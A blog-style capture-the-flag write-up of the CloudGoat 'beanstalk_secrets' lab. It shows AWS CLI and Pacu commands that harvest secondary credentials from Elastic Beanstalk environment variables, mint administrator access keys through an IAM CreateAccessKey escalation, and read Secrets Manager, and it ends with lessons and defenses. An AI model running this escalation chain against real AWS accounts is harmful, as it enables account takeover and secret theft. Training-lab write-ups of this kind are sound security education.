Hacking AWS Beanstalk — Cloudgoat Scenario

Scenario beanstalk_secrets

In this scenario, we are provided with low-privileged AWS credentials that grant limited access to Elastic Beanstalk. Our task is to enumerate the Elastic Beanstalk environment and identify misconfigured environment variables that contain secondary credentials. Using these secondary credentials, we can enumerate IAM permissions to create an access key for an administrator user eventually. With these admin privileges, we retrieve the final flag stored in AWS Secrets Manager.

AWS Elastic Beanstalk is a Platform-as-a-Service (PaaS) offering from Amazon Web Services that simplifies the deployment and management of applications in the cloud.

Spin up the “Beanstalk Secrets” lab

cloudgoat create beanstalk_secrets

We got Low Privileged User Access Credentials

Access Key: AXXXXXXXXXBLQN

Secret Key: aVohUXXXXXXXXXXXXTNXXXFP5Xt

Configuring Low Privileged user profile

aws configure — profile ebs

Verifying Identity

aws sts get-caller-identity — profile ebs

Enumeration Using Pacu

Launch Pacu and create a new session. I have created the session name as “ebs”

Then import the keys of the already configured AWS profile

import_keys ebs

Search for beanstalk

search beanstalk

There is a module named “elasticbeanstalk__enum”

Run the elasticbeanstalk_enum module in the us-east-1 region

run elasticbeanstalk__enum — region us-east-1

Potential secret in environment variable: SSHSourceRestriction => tcp,22,22,0.0.0.0/0

Potential secret in environment variable: EnvironmentVariables => SECONDARY_SECRET_KEY=XXXXXXXXXXXXeKd2f0Lrzm,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=XXXXXXXXXX5W5O4F

Potential secret in environment variable: SECONDARY_ACCESS_KEY => XXXXXXXXXX5W5O4F

We got a secondary access key and a secret access key stored in the environment variables.

Configuring the secondary profile

aws configure — profile ebs_2

Verifying the identity

aws sts get-caller-identity — profile ebs_2

Enumerating Secondary user permissions using Pacu

Launch Pacu and create a new session. I have created the session name as “ebs_2”

Then import the keys of the already configured secondary user AWS profile

import_keys ebs_2

Enumerate IAM Permissions for Secondary user

run iam__enum_permissions

Running the whoami command

whoami

We can see that we can create an access key

Running IAM privilege escalation module

run iam__privesc_scan — scan-only

run iam__privesc_scan — user-methods CreateAccessKey

Pacu generated an access key and secret access key for the admin user

[iam__backdoor_users_keys] Access Key ID:XXXXXXXXXXXXXOEXA

[iam__backdoor_users_keys] Secret Key: XXXXXXXXXXXXXXXX//VLZms3uAi7

Configuring the admin access key and secret access key

aws configure — profile ebs_admin

Enumerating Admin user permissions using Pacu

Launch Pacu and create a new session. I have created the session name as “ebs_admin”

Then import the keys of the already configured secondary user AWS profile

import_keys ebs_admin

Trying to get secrets from Secrets Manager

run secrets__enum — region us-east-1

The secrets were enumerated successfully

cgidbbz4ebpqb0_final_flag:FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

Key Lessons

• Never store credentials or secrets in environment variables, especially in Elastic Beanstalk.
• Least privilege IAM policies are critical — over-permissive users are a huge risk.
• Enumeration is everything: one small misconfiguration can lead to full account compromise.
• Tools like Pacu and CloudGoat are invaluable for understanding real-world cloud attack vectors.

Defenses

• Use AWS Secrets Manager or SSM Parameter Store for secrets management.
• Regularly audit IAM permissions with AccessAnalyzer.
• Avoid using broad policies like :.
• Rotate credentials and enforce MFA.

Thank you for being a part of the community

Before you go:

• Be sure to clap and follow the writer ️👏️️
• Follow us: **X | [LinkedIn](https://www.linkedin.com/company/inplainenglish/) | [YouTube](https://www.youtube.com/@InPlainEnglish) | [Newsletter](https://newsletter.plainenglish.io/) | [Podcast](https://open.spotify.com/show/7qxylRWKhvZwMz2WuEoua0) | [Twitch](https://twitch.tv/inplainenglish)**
• **Start your own free AI-powered blog on Differ** 🚀
• **Join our content creators community on Discord** 🧑🏻‍💻
• For more content, visit **plainenglish.io + [stackademic.com](https://stackademic.com/)**